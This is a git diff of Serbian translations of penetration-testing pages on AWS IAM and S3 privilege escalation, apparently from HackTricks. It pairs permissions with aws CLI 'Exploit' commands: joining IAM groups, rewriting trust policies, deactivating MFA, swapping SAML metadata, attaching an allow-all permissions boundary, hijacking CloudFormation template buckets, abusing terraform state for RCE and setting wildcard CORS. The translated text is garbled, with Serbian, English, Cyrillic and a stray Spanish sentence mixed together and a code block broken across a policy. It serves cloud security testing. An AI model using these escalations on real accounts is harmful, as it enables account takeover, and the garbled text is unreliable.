-Omogućava dodavanje sebe u IAM grupu, eskalirajući privilegije nasleđivanjem dozvola grupe.
+Omogućava dodavanje sebe u IAM grupu, čime se eskaliraju privilegije nasleđivanjem dozvola te grupe.
-**Eksploit:**
+**Exploit:**
```bash
aws iam add-user-to-group --group-name --user-name
```
-**Uticaj:** Direktno eskaliranje privilegija do nivoa dozvola grupe.
+**Uticaj:** Direktna eskalacija privilegija do nivoa dozvola grupe.
### **`iam:UpdateAssumeRolePolicy`**
-Dozvoljava izmenu assume role policy dokumenta role, što omogućava preuzimanje te role i njenih pridruženih dozvola.
+Omogućava izmenu assume role policy dokumenta role, čime se omogućava preuzimanje role i njenih pripadajućih dozvola.
-**Eksploatacija:**
+**Exploit:**
```bash
aws iam update-assume-role-policy --role-name \
--policy-document file:///path/to/assume/role/policy.json
```
-Ako politika izgleda na sledeći način i daje korisniku dozvolu da preuzme ulogu:
+Gde politika izgleda ovako, i time daje korisniku dozvolu da preuzme ulogu:
```json
{
"Version": "2012-10-17",
@@ -163,13 +163,13 @@ Ako politika izgleda na sledeći način i daje korisniku dozvolu da preuzme ulog
]
}
```
-**Uticaj:** Direktno eskaliranje privilegija preuzimanjem dozvola bilo koje uloge.
+**Uticaj:** Direktna eskalacija privilegija preuzimanjem dozvola bilo koje uloge.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
-Dozvoljava otpremanje SSH javnog ključa za autentifikaciju na CodeCommit i deaktiviranje MFA uređaja, što može dovesti do potencijalnog indirektnog eskaliranja privilegija.
+Dozvoljava otpremanje javnog SSH ključa za autentikaciju u CodeCommit i deaktivaciju MFA uređaja, što može dovesti do potencijalne indirektne eskalacije privilegija.
-**Eksploat za otpremanje SSH javnog ključa:**
+**Exploit for SSH Key Upload:**
```bash
aws iam upload-ssh-public-key --user-name --ssh-public-key-body
```
@@ -177,24 +177,24 @@ aws iam upload-ssh-public-key --user-name --ssh-public-key-body --serial-number
```
-**Uticaj:** Neizravna eskalacija privilegija omogućavanjem pristupa CodeCommit ili onemogućavanjem MFA zaštite.
+**Uticaj:** Indirektno eskaliranje privilegija omogućavanjem pristupa CodeCommit-u ili onemogućavanjem MFA zaštite.
### **`iam:ResyncMFADevice`**
-Dozvoljava ponovnu sinhronizaciju MFA uređaja, što potencijalno može dovesti do neizravne eskalacije privilegija manipulisanjem MFA zaštite.
+Dozvoljava ponovnu sinhronizaciju MFA uređaja, što može dovesti do indirektnog eskaliranja privilegija manipulacijom MFA zaštite.
-**Bash Command:**
+**Bash komanda:**
```bash
aws iam resync-mfa-device --user-name --serial-number \
--authentication-code1 --authentication-code2
```
-**Impact:** Indirektno eskaliranje privilegija dodavanjem ili manipulacijom MFA uređaja.
+**Uticaj:** Indirect privilege escalation by adding or manipulating MFA devices.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
-Uz ove dozvole možete **izmeniti XML metadata SAML konekcije**. Zatim možete zloupotrebiti **SAML federation** da se **login** sa bilo kojom **role koja joj veruje**.
+Sa ovim dozvolama možete **promeniti XML metadata of the SAML connection**. Zatim, možete zloupotrebiti **SAML federation** da se **login** sa bilo kojom **role that is trusting** it.
-Imajte na umu da pri tome **legit users won't be able to login**. Međutim, možete dobiti XML, pa možete staviti svoj, login i vratiti prethodnu konfiguraciju.
+Imajte na umu da nakon ovoga **legitimni korisnici neće moći da se login**. Međutim, možete dobiti XML, zameniti ga svojim, login i vratiti prethodnu konfiguraciju.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar
aws iam update-saml-provider --saml-metadata-document --saml-provider-arn
```
> [!NOTE]
-> TODO: Alat sposoban da generiše SAML metapodatke i prijavi se sa određenom ulogom
+> TODO: Alat sposoban da generiše SAML metapodatke i izvrši login sa zadatom role
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
-(Nisam siguran u ovo) Ako napadač ima ove **dozvole**, mogao bi dodati novi **Thumbprint** kako bi se prijavio u sve role koje veruju tom provajderu.
+(Nisam siguran u ovo) Ako napadač ima ove **dozvole**, mogao bi dodati novi **Thumbprint** i tako izvršiti login u svim role koje veruju provideru.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -226,9 +226,36 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
-Ova dozvola omogućava attackeru da ažurira permissions boundary korisnika, potencijalno eskalirajući njihove privilegije tako što im dozvoljava da izvršavaju akcije koje su obično ograničene njihovim postojećim dozvolama.
+Ovo dopuštenje omogućava napadaču da ažurira permissions boundary korisnika, potencijalno eskalirajući njihove privilegije tako što će im omogućiti da izvrše radnje koje su inače ograničene njihovim postojećim dozvolama.
+```bash
+aws iam put-user-permissions-boundary \
+--user-name \
+--permissions-boundary arn:aws:iam:::policy/
-## References
+Un ejemplo de una política que no aplica ninguna restricción es:
+
+
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "BoundaryAllowAll",
+"Effect": "Allow",
+"Action": "*",
+"Resource": "*"
+}
+]
+}
+```
+### `iam:PutRolePermissionsBoundary`
+
+Akter sa iam:PutRolePermissionsBoundary može postaviti ograničenje dozvola na postojeću ulogu. Rizik nastaje kada neko sa ovom dozvolom promeni granicu uloge: može nepravilno ograničiti operacije (uzrokujući prekid usluge) ili, ako prikači permisivno ograničenje, efikasno proširiti šta uloga može da radi i eskalirati privilegije.
+```bash
+aws iam put-role-permissions-boundary \
+--role-name \
+--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
+```
+## Izvori
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
index 270b8a775..335b45457 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
@@ -6,9 +6,9 @@
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
-Napadač sa tim dozvolama nad relevantnim bucket-ima može da hijack resources and escalate privileges.
+Napadač koji ima te permissions nad interesantnim buckets može hijack resources i escalate privileges.
-Na primer, napadač sa tim **dozvolama nad cloudformation bucket-om** pod nazivom "cf-templates-nohnwfax6a6i-us-east-1" moći će da hijack the deployment. Pristup se može dodeliti sledećom politikom:
+Na primer, napadač koji ima te **permissions over a cloudformation bucket** pod imenom "cf-templates-nohnwfax6a6i-us-east-1" moći će da hijack deployment. Pristup se može dodeliti pomoću sledeće policy:
```json
{
"Version": "2012-10-17",
@@ -34,30 +34,29 @@ Na primer, napadač sa tim **dozvolama nad cloudformation bucket-om** pod nazivo
]
}
```
-I otmica je moguća zato što postoji **mali vremenski prozor od trenutka kada je šablon otpremljen** u bucket do trenutka kada je **šablon deploy-ovan**. Napadač može jednostavno da kreira **lambda function** na svom nalogu koja će **trigger-ovati kada se pošalje bucket notification**, i **hijacks** **sadržaj** tog **bucket-a**.
+I otmica je moguća zato što postoji **mali vremenski prozor od trenutka kada je template otpremljen** u bucket do trenutka kada je **template deployed**. Napadač bi mogao jednostavno da kreira **lambda function** na svom nalogu koja će se **trigger-ovati kada se pošalje bucket notification**, i **otme** **content** tog **bucket-a**.
.png>)
-Pacu modul [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) može se koristiti za automatizaciju ovog napada.\
+The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\
Za više informacija pogledajte originalno istraživanje: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
### `s3:PutObject`, `s3:GetObject`
-Ove dozvole služe za **preuzimanje i otpremanje objekata u S3**. Nekoliko servisa unutar AWS (i izvan njega) koristi S3 storage za čuvanje **config files**.\
-Napadač sa **pristupom za čitanje** do njih može pronaći **osetljive informacije**.\
-Napadač sa **pristupom za pisanje** može **izmeniti podatke kako bi zloupotrebio neki servis i pokušao da eskalira privilegije**.\
-Evo nekoliko primera:
+Ovo su dozvole za **get and upload objects to S3**. Several services inside AWS (and outside of it) use S3 storage to store **config files**.\
+An attacker with **read access** to them might find **sensitive information** on them.\
+An attacker with **write access** to them could **modify the data to abuse some service and try to escalate privileges**.\
+These are some examples:
-- Ako EC2 instance čuva **user data u S3 bucket-u**, napadač bi mogao da ga izmeni kako bi **izvršio proizvoljni kod unutar EC2 instance**.
+- If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **execute arbitrary code inside the EC2 instance**.
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
-Veoma je često da se terraform state fajlovi čuvaju u blob storage-u cloud provajdera, npr. AWS S3. Ekstenzija fajla za state fajl je `.tfstate`, a nazivi bucket-a često otkrivaju da sadrže terraform state fajlove. Obično svaki AWS account ima bar jedan takav bucket za čuvanje state fajlova koji prikazuju stanje naloga.
-Takođe, u realnim nalozima gotovo uvek svi developeri imaju `s3:*`, a ponekad i poslovni korisnici imaju `s3:Put*`.
+Veoma je uobičajeno da se [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state files čuvaju u blob storage kod cloud provajdera, npr. AWS S3. The file suffix for a state file is `.tfstate`, and the bucket names often also give away that they contain terraform state files. Usually, every AWS account has one such bucket to store the state files that show the state of the account. Also usually, in real world accounts almost always all developers have `s3:*` and sometimes even business users have `s3:Put*`.
-Dakle, ako imate navedene dozvole nad ovim fajlovima, postoji vektor napada koji vam omogućava da dobijete RCE u pipeline-u sa privilegijama `terraform` — najčešće `AdministratorAccess`, čime postajete administrator cloud naloga. Takođe, možete koristiti taj vektor za DoS (denial of service) napad tako što ćete naterati `terraform` da obriše legitimne resurse.
+Dakle, ako imate navedene permisije nad ovim fajlovima, postoji vektor napada koji vam omogućava da dobijete RCE u pipeline-u sa privilegijama `terraform` - najčešće `AdministratorAccess`, čineći vas adminom cloud naloga. Takođe, možete iskoristiti taj vektor za denial of service attack tako što ćete naterati `terraform` da obriše legitimne resurse.
-Pratite opis u sekciji *Abusing Terraform State Files* na stranici *Terraform Security* za direktno upotrebljiv exploit kod:
+Follow the description in the *Abusing Terraform State Files* section of the *Terraform Security* page for directly usable exploit code:
{{#ref}}
../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
@@ -65,7 +64,7 @@ Pratite opis u sekciji *Abusing Terraform State Files* na stranici *Terraform Se
### `s3:PutBucketPolicy`
-Napadač, koji mora biti **iz istog naloga** (u suprotnom će se pojaviti greška `The specified method is not allowed`), sa ovom dozvolom će moći da sebi dodeli više permisija nad bucket-om/bucket-ima, što mu omogućava da čita, piše, menja, briše i eksponira bucket-e.
+Napadač koji mora biti **iz istog naloga**, u suprotnom će se pojaviti greška `The specified method is not allowed will trigger`, са ovom dozvolom će moći da sebi dodeli više permissions nad bucket-ima, omogućavajući mu да read, write, modify, delete и expose buckets.
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -123,8 +122,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -151,7 +150,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a
```
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
-Napadač može zloupotrebiti ove dozvole da sebi dodeli veći pristup specifičnim objektima unutar buckets.
+An attacker može da zloupotrebi ove permissions kako bi sebi dodelio veći access nad određenim objects unutar buckets.
```bash
# Update bucket object ACL
aws s3api get-object-acl --bucket --key flag
@@ -178,9 +177,29 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli
```
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
-Napadač sa ovim privilegijama može da postavi Acl za određenu verziju objekta
+Napadač sa ovim privilegijama bi trebalo da može da postavi Acl na određenu verziju objekta.
```bash
aws s3api get-object-acl --bucket --key flag
aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json
```
+### `s3:PutBucketCORS`
+
+Napadač koji ima dozvolu s3:PutBucketCORS može izmeniti CORS (Cross-Origin Resource Sharing) konfiguraciju bucketa, koja kontroliše koje web domene mogu pristupiti njegovim endpointima. Ako postave permisivnu politiku, bilo koji website bi mogao slati direktne zahteve ka bucketu i čitati odgovore iz browsera.
+
+To znači da, potencijalno, ako autentifikovani korisnik web aplikacije hostovane iz bucketa poseti napadačev website, napadač bi mogao iskoristiti permisivnu CORS politiku i, u zavisnosti od aplikacije, pristupiti korisnikovim podacima profila ili čak preuzeti korisnikov nalog.
+```bash
+aws s3api put-bucket-cors \
+--bucket \
+--cors-configuration '{
+"CORSRules": [
+{
+"AllowedOrigins": ["*"],
+"AllowedMethods": ["GET", "PUT", "POST"],
+"AllowedHeaders": ["*"],
+"ExposeHeaders": ["x-amz-request-id"],
+"MaxAgeSeconds": 3000
+}
+]
+}'
+```
{{#include ../../../../banners/hacktricks-training.md}}